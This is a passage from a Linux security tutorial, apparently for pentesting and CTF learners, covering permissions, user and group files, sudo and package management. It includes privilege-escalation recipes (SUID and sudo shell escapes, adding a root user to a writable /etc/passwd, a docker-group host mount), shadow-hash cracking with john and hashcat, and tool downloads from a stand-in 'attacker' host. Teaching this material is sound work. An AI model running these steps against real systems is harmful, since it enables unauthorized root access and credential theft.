&lt;span class="nb"&gt;chmod&lt;/span&gt; +t /tmp              &lt;span class="c"&gt;# Set sticky bit&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;1777 /tmp            &lt;span class="c"&gt;# Set sticky bit in octal (1 prefix)&lt;/span&gt;

&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /
&lt;span class="c"&gt;# drwxrwxrwt  root root  ...  tmp&lt;/span&gt;
&lt;span class="c"&gt;#          ^-- 't' = sticky bit + execute  |  'T' = sticky bit, no execute&lt;/span&gt;

&lt;span class="c"&gt;# Finding exploitable SUID/SGID files — the first check in Linux privilege escalation:&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null          &lt;span class="c"&gt;# All SUID files&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-2000&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null          &lt;span class="c"&gt;# All SGID files&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-user&lt;/span&gt; root &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null  &lt;span class="c"&gt;# SUID owned by root (highest risk)&lt;/span&gt;

&lt;span class="c"&gt;# For each SUID binary found, check GTFOBins:&lt;/span&gt;
&lt;span class="c"&gt;# https://gtfobins.github.io/&lt;/span&gt;
&lt;span class="c"&gt;# Example: if /usr/bin/vim is SUID root:&lt;/span&gt;
&lt;span class="c"&gt;# vim -c ':!/bin/sh'  → root shell&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.5 Special Permissions in Practice — Privilege Escalation
&lt;/h3&gt;

&lt;p&gt;This is the payoff for understanding permissions. Misconfigured SUID binaries are among the most common paths to root in CTFs and real-world assessments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example attack chain:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Step 1: Find SUID binaries&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null
&lt;span class="c"&gt;# Output includes: /usr/bin/find&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Check GTFOBins for "find"&lt;/span&gt;
&lt;span class="c"&gt;# GTFOBins says: find . -exec /bin/sh -p \; -quit&lt;/span&gt;
&lt;span class="c"&gt;# The -p flag preserves effective UID&lt;/span&gt;

&lt;span class="c"&gt;# Step 3: Execute&lt;/span&gt;
/usr/bin/find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; /bin/sh &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt; &lt;span class="nt"&gt;-quit&lt;/span&gt;
&lt;span class="c"&gt;# Shell opens as root because find is SUID root&lt;/span&gt;

&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="c"&gt;# root&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Writable /etc/passwd — Another Classic:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# If /etc/passwd is world-writable (misconfiguration):&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/passwd
&lt;span class="c"&gt;# -rw-rw-rw-  root root  ...  /etc/passwd  ← world-writable!&lt;/span&gt;

&lt;span class="c"&gt;# Generate password hash&lt;/span&gt;
openssl passwd &lt;span class="nt"&gt;-1&lt;/span&gt; &lt;span class="nt"&gt;-salt&lt;/span&gt; xyz newpassword
&lt;span class="c"&gt;# Output: $1$xyz$...&lt;/span&gt;

&lt;span class="c"&gt;# Add root-level user to /etc/passwd&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'hacker:$1$xyz$HASH:0:0:root:/root:/bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/passwd

&lt;span class="c"&gt;# Login as the new user — you get UID 0 (root)&lt;/span&gt;
su hacker
&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="c"&gt;# root&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. User Management
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 The /etc/passwd File
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd
&lt;span class="c"&gt;# Format: username:password:UID:GID:GECOS:home:shell&lt;/span&gt;
&lt;span class="c"&gt;# root:x:0:0:root:/root:/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin&lt;/span&gt;
&lt;span class="c"&gt;# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin&lt;/span&gt;
&lt;span class="c"&gt;# john:x:1001:1001:John Smith,,,:/home/john:/bin/bash&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Field breakdown:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;username&lt;/code&gt; — login name&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;password&lt;/code&gt; — 'x' means password is in /etc/shadow; blank means no password&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;UID&lt;/code&gt; — User ID. 0 = root, 1-999 = system accounts, 1000+ = regular users&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;GID&lt;/code&gt; — Primary Group ID&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;GECOS&lt;/code&gt; — Comment field (full name, contact info)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;home&lt;/code&gt; — Home directory path&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;shell&lt;/code&gt; — Login shell (&lt;code&gt;/usr/sbin/nologin&lt;/code&gt; or &lt;code&gt;/bin/false&lt;/code&gt; prevents interactive login)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Security checks on /etc/passwd:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find any user with UID 0 other than root (serious red flag)&lt;/span&gt;
&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;: &lt;span class="s1"&gt;'($3 == 0) {print}'&lt;/span&gt; /etc/passwd

&lt;span class="c"&gt;# Find users with no password set (x missing)&lt;/span&gt;
&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;: &lt;span class="s1"&gt;'($2 == "") {print}'&lt;/span&gt; /etc/passwd

&lt;span class="c"&gt;# Find users with valid shells (can log in interactively)&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"/nologin&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;/false"&lt;/span&gt; /etc/passwd | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;: &lt;span class="s1"&gt;'{print $1, $7}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.2 The /etc/shadow File
&lt;/h3&gt;

&lt;p&gt;The shadow file stores password hashes and account policy information. It is readable only by root (and the shadow group on some systems).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /etc/shadow
&lt;span class="c"&gt;# Format: username:hash:lastchange:min:max:warn:inactive:expire&lt;/span&gt;
&lt;span class="c"&gt;# root:$6$salt$hash:18600:0:99999:7:::&lt;/span&gt;
&lt;span class="c"&gt;# john:$6$salt$longhashstring:19000:0:99999:7:::&lt;/span&gt;
&lt;span class="c"&gt;# locked_user:!$6$salt$hash:...  (! prefix = account locked)&lt;/span&gt;
&lt;span class="c"&gt;# no_password::...               (empty hash = no password needed!)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Hash format identifier:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;$&lt;span class="m"&gt;1&lt;/span&gt;$  = &lt;span class="n"&gt;MD5&lt;/span&gt; (&lt;span class="n"&gt;weak&lt;/span&gt;, &lt;span class="n"&gt;crackable&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="n"&gt;GPU&lt;/span&gt;)
$&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;$ = &lt;span class="n"&gt;bcrypt&lt;/span&gt; (&lt;span class="n"&gt;strong&lt;/span&gt;, &lt;span class="n"&gt;slow&lt;/span&gt;)
$&lt;span class="m"&gt;5&lt;/span&gt;$  = &lt;span class="n"&gt;SHA&lt;/span&gt;-&lt;span class="m"&gt;256&lt;/span&gt; (&lt;span class="n"&gt;moderate&lt;/span&gt;)
$&lt;span class="m"&gt;6&lt;/span&gt;$  = &lt;span class="n"&gt;SHA&lt;/span&gt;-&lt;span class="m"&gt;512&lt;/span&gt; (&lt;span class="n"&gt;current&lt;/span&gt; &lt;span class="n"&gt;standard&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;Linux&lt;/span&gt; &lt;span class="n"&gt;systems&lt;/span&gt;)
$&lt;span class="n"&gt;y&lt;/span&gt;$  = &lt;span class="n"&gt;yescrypt&lt;/span&gt; (&lt;span class="n"&gt;modern&lt;/span&gt;, &lt;span class="n"&gt;very&lt;/span&gt; &lt;span class="n"&gt;strong&lt;/span&gt;)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Cracking /etc/shadow hashes (authorised lab/CTF context):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Unshadow combines passwd and shadow for John/Hashcat&lt;/span&gt;
unshadow /etc/passwd /etc/shadow &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; combined.txt

&lt;span class="c"&gt;# John the Ripper&lt;/span&gt;
john combined.txt
john combined.txt &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt

&lt;span class="c"&gt;# Hashcat (identify hash type first)&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 1800 combined.txt /usr/share/wordlists/rockyou.txt  &lt;span class="c"&gt;# SHA-512 = mode 1800&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 500 combined.txt /usr/share/wordlists/rockyou.txt   &lt;span class="c"&gt;# MD5 = mode 500&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 User Management Commands
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Add user&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;useradd &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /bin/bash &lt;span class="nt"&gt;-G&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;username
&lt;span class="c"&gt;# -m = create home directory&lt;/span&gt;
&lt;span class="c"&gt;# -s = specify shell&lt;/span&gt;
&lt;span class="c"&gt;# -G = additional groups (sudo here gives sudo access)&lt;/span&gt;

&lt;span class="nb"&gt;sudo &lt;/span&gt;adduser username      &lt;span class="c"&gt;# Interactive, friendlier version&lt;/span&gt;

&lt;span class="c"&gt;# Set password&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;passwd username
passwd                     &lt;span class="c"&gt;# Change your own password&lt;/span&gt;

&lt;span class="c"&gt;# Modify user&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;usermod &lt;span class="nt"&gt;-aG&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;username    &lt;span class="c"&gt;# Add to sudo group (-a = append)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;usermod &lt;span class="nt"&gt;-s&lt;/span&gt; /bin/bash username  &lt;span class="c"&gt;# Change shell&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;usermod &lt;span class="nt"&gt;-L&lt;/span&gt; username          &lt;span class="c"&gt;# Lock account&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;usermod &lt;span class="nt"&gt;-U&lt;/span&gt; username          &lt;span class="c"&gt;# Unlock account&lt;/span&gt;

&lt;span class="c"&gt;# Delete user&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;userdel username             &lt;span class="c"&gt;# Keep home directory&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;userdel &lt;span class="nt"&gt;-r&lt;/span&gt; username          &lt;span class="c"&gt;# Remove home directory too&lt;/span&gt;

&lt;span class="c"&gt;# Switch user&lt;/span&gt;
su username                       &lt;span class="c"&gt;# Switch to user (needs their password)&lt;/span&gt;
su - username                     &lt;span class="c"&gt;# Switch with full login environment&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;su                           &lt;span class="c"&gt;# Switch to root (if you have sudo)&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt;                           &lt;span class="c"&gt;# Root login shell via sudo&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; john &lt;span class="nb"&gt;command&lt;/span&gt;              &lt;span class="c"&gt;# Run command as user john&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.4 sudo — The Privilege Management Gateway
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;sudo&lt;/code&gt; (superuser do) allows specific users to run commands with elevated privileges according to rules defined in &lt;code&gt;/etc/sudoers&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Run command as root&lt;/span&gt;
&lt;span class="nb"&gt;sudo command
sudo &lt;/span&gt;apt update

&lt;span class="c"&gt;# Run command as specific user&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; www-data &lt;span class="nb"&gt;ls&lt;/span&gt; /var/www

&lt;span class="c"&gt;# Edit sudoers safely (ALWAYS use visudo, never edit directly)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;visudo

&lt;span class="c"&gt;# Check your sudo privileges&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="c"&gt;# Output shows what you can run as what user&lt;/span&gt;
&lt;span class="c"&gt;# Example:&lt;/span&gt;
&lt;span class="c"&gt;# (ALL : ALL) ALL            → can run anything as anyone&lt;/span&gt;
&lt;span class="c"&gt;# (root) NOPASSWD: /bin/ls  → can run ls as root without password&lt;/span&gt;
&lt;span class="c"&gt;# (ALL) /usr/bin/python3    → can run python3 as any user&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Sudo Privilege Escalation — The CTF Classic:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# You find this in sudo -l:&lt;/span&gt;
&lt;span class="c"&gt;# (ALL) NOPASSWD: /usr/bin/python3&lt;/span&gt;

&lt;span class="c"&gt;# Exploit it for root shell:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import os; os.system("/bin/bash")'&lt;/span&gt;
&lt;span class="c"&gt;# Result: root shell, no password required&lt;/span&gt;

&lt;span class="c"&gt;# Or with vim:&lt;/span&gt;
&lt;span class="c"&gt;# (ALL) NOPASSWD: /usr/bin/vim&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;vim &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;':!/bin/bash'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GTFOBins lists privilege escalation paths for every common binary that might appear in &lt;code&gt;sudo -l&lt;/code&gt;. Checking &lt;code&gt;sudo -l&lt;/code&gt; is always the second thing you do after landing on a Linux system (first is &lt;code&gt;whoami&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  6.5 /etc/group — Group Management
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/group
&lt;span class="c"&gt;# Format: groupname:password:GID:members&lt;/span&gt;
&lt;span class="c"&gt;# sudo:x:27:john,alice&lt;/span&gt;
&lt;span class="c"&gt;# docker:x:998:john&lt;/span&gt;

&lt;span class="c"&gt;# Find what groups current user belongs to&lt;/span&gt;
&lt;span class="nb"&gt;groups
id&lt;/span&gt;                    &lt;span class="c"&gt;# More detailed: uid=1001(john) gid=1001(john) groups=1001(john),27(sudo)&lt;/span&gt;

&lt;span class="c"&gt;# Add group&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;groupadd developers

&lt;span class="c"&gt;# Add user to group&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;usermod &lt;span class="nt"&gt;-aG&lt;/span&gt; developers john
&lt;span class="nb"&gt;sudo &lt;/span&gt;gpasswd &lt;span class="nt"&gt;-a&lt;/span&gt; john developers

&lt;span class="c"&gt;# Security: Check users in sudo/admin groups — who has elevated access?&lt;/span&gt;
getent group &lt;span class="nb"&gt;sudo
&lt;/span&gt;getent group wheel     &lt;span class="c"&gt;# Red Hat/CentOS equivalent of sudo&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/group | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"sudo|admin|wheel|root"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The docker Group — A Hidden Root Equivalent:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Being in the docker group is effectively equivalent to root&lt;/span&gt;
&lt;span class="c"&gt;# Check if you're in docker group:&lt;/span&gt;
&lt;span class="nb"&gt;id&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;docker

&lt;span class="c"&gt;# If yes, escape to root:&lt;/span&gt;
docker run &lt;span class="nt"&gt;-v&lt;/span&gt; /:/mnt &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; alpine &lt;span class="nb"&gt;chroot&lt;/span&gt; /mnt sh
&lt;span class="c"&gt;# This mounts the entire host filesystem inside a container&lt;/span&gt;
&lt;span class="c"&gt;# and gives you a root shell on the host&lt;/span&gt;
&lt;span class="c"&gt;# No password required — this is why docker group membership is dangerous&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Package Management
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 APT — Debian/Ubuntu/Kali
&lt;/h3&gt;

&lt;p&gt;APT (Advanced Package Tool) is the package manager for Debian-based distributions. It handles software installation, updates, and removal from configured repositories.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Repository management&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/apt/sources.list              &lt;span class="c"&gt;# Main repository list&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /etc/apt/sources.list.d/           &lt;span class="c"&gt;# Additional repositories&lt;/span&gt;

&lt;span class="c"&gt;# Update package index (always run before installing)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update

&lt;span class="c"&gt;# Upgrade installed packages&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt upgrade                       &lt;span class="c"&gt;# Upgrade packages&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt full-upgrade                  &lt;span class="c"&gt;# Upgrade including dependency changes&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt dist-upgrade                  &lt;span class="c"&gt;# Distribution upgrade&lt;/span&gt;

&lt;span class="c"&gt;# Install&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;nmap                  &lt;span class="c"&gt;# Install single package&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;nmap wireshark curl   &lt;span class="c"&gt;# Install multiple&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; nmap               &lt;span class="c"&gt;# Non-interactive (yes to all)&lt;/span&gt;

&lt;span class="c"&gt;# Remove&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt remove package_name           &lt;span class="c"&gt;# Remove but keep config files&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt purge package_name            &lt;span class="c"&gt;# Remove including config files&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt autoremove                    &lt;span class="c"&gt;# Remove unused dependencies&lt;/span&gt;

&lt;span class="c"&gt;# Search&lt;/span&gt;
apt search nmap                        &lt;span class="c"&gt;# Search by name/description&lt;/span&gt;
apt show nmap                          &lt;span class="c"&gt;# Detailed package information&lt;/span&gt;

&lt;span class="c"&gt;# List&lt;/span&gt;
dpkg &lt;span class="nt"&gt;-l&lt;/span&gt;                                &lt;span class="c"&gt;# List all installed packages&lt;/span&gt;
dpkg &lt;span class="nt"&gt;-l&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;nmap                    &lt;span class="c"&gt;# Check if specific package installed&lt;/span&gt;
dpkg &lt;span class="nt"&gt;-L&lt;/span&gt; nmap                           &lt;span class="c"&gt;# List files installed by package&lt;/span&gt;
dpkg &lt;span class="nt"&gt;-S&lt;/span&gt; /usr/bin/nmap                  &lt;span class="c"&gt;# Which package owns this file&lt;/span&gt;

&lt;span class="c"&gt;# Security relevance:&lt;/span&gt;
&lt;span class="c"&gt;# Check for packages with known vulnerabilities&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt list &lt;span class="nt"&gt;--upgradable&lt;/span&gt;             &lt;span class="c"&gt;# Show packages needing updates&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security Note on apt:&lt;/strong&gt;&lt;br&gt;
Package repositories are cryptographically signed. APT verifies signatures before installing. Adding untrusted repositories (PPAs, third-party repos) is a security risk — malicious packages from untrusted repos can compromise your system or your attack platform.&lt;/p&gt;
&lt;h3&gt;
  
  
  7.2 YUM / DNF — Red Hat/CentOS/Fedora
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# DNF (modern, replaces YUM on Fedora/RHEL 8+)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dnf update                        &lt;span class="c"&gt;# Update all packages&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dnf &lt;span class="nb"&gt;install &lt;/span&gt;nmap                  &lt;span class="c"&gt;# Install&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dnf remove nmap                   &lt;span class="c"&gt;# Remove&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dnf search nmap                   &lt;span class="c"&gt;# Search&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dnf info nmap                     &lt;span class="c"&gt;# Package information&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dnf list installed                &lt;span class="c"&gt;# List installed packages&lt;/span&gt;

&lt;span class="c"&gt;# YUM (legacy, still used on CentOS 7 and older RHEL)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;yum update
&lt;span class="nb"&gt;sudo &lt;/span&gt;yum &lt;span class="nb"&gt;install &lt;/span&gt;nmap
&lt;span class="nb"&gt;sudo &lt;/span&gt;yum remove nmap
&lt;span class="nb"&gt;sudo &lt;/span&gt;yum search nmap
rpm &lt;span class="nt"&gt;-qa&lt;/span&gt;                                &lt;span class="c"&gt;# List all installed RPM packages&lt;/span&gt;
rpm &lt;span class="nt"&gt;-ql&lt;/span&gt; nmap                           &lt;span class="c"&gt;# List files in package&lt;/span&gt;
rpm &lt;span class="nt"&gt;-qf&lt;/span&gt; /usr/bin/nmap                  &lt;span class="c"&gt;# Which package owns this file&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  7.3 Installing Without Package Manager — Common in Pentest
&lt;/h3&gt;

&lt;p&gt;In post-exploitation, you often cannot use apt (no internet access, non-standard system). You need to transfer and install tools manually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Compile from source&lt;/span&gt;
./configure
make
&lt;span class="nb"&gt;sudo &lt;/span&gt;make &lt;span class="nb"&gt;install&lt;/span&gt;

&lt;span class="c"&gt;# Install Go tools&lt;/span&gt;
go &lt;span class="nb"&gt;install &lt;/span&gt;github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

&lt;span class="c"&gt;# Install Python tools&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;impacket
pip3 &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--break-system-packages&lt;/span&gt; tool_name  &lt;span class="c"&gt;# On newer systems&lt;/span&gt;

&lt;span class="c"&gt;# AppImage — self-contained executables&lt;/span&gt;
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x tool.AppImage
./tool.AppImage

&lt;span class="c"&gt;# Binary transfer without package manager (post-exploitation)&lt;/span&gt;
&lt;span class="c"&gt;# On attacker:&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8080
&lt;span class="c"&gt;# On target (no wget? try these):&lt;/span&gt;
curl http://attacker/tool &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/tool
bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'cat &amp;lt; /dev/tcp/attacker_ip/8080'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  8. Service Management — systemctl
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 systemd and Its Role
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;systemd&lt;/code&gt; is the init system and service manager used by virtually all modern Linux distributions (Ubuntu 15.04+, Debian 8+, CentOS 7+, Kali). It replaced the older SysVinit (&lt;code&gt;/etc/init.d/&lt;/code&gt; scripts) and Upstart systems.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;systemctl&lt;/code&gt; is the primary command to interact with systemd.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.2 Core systemctl Commands
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
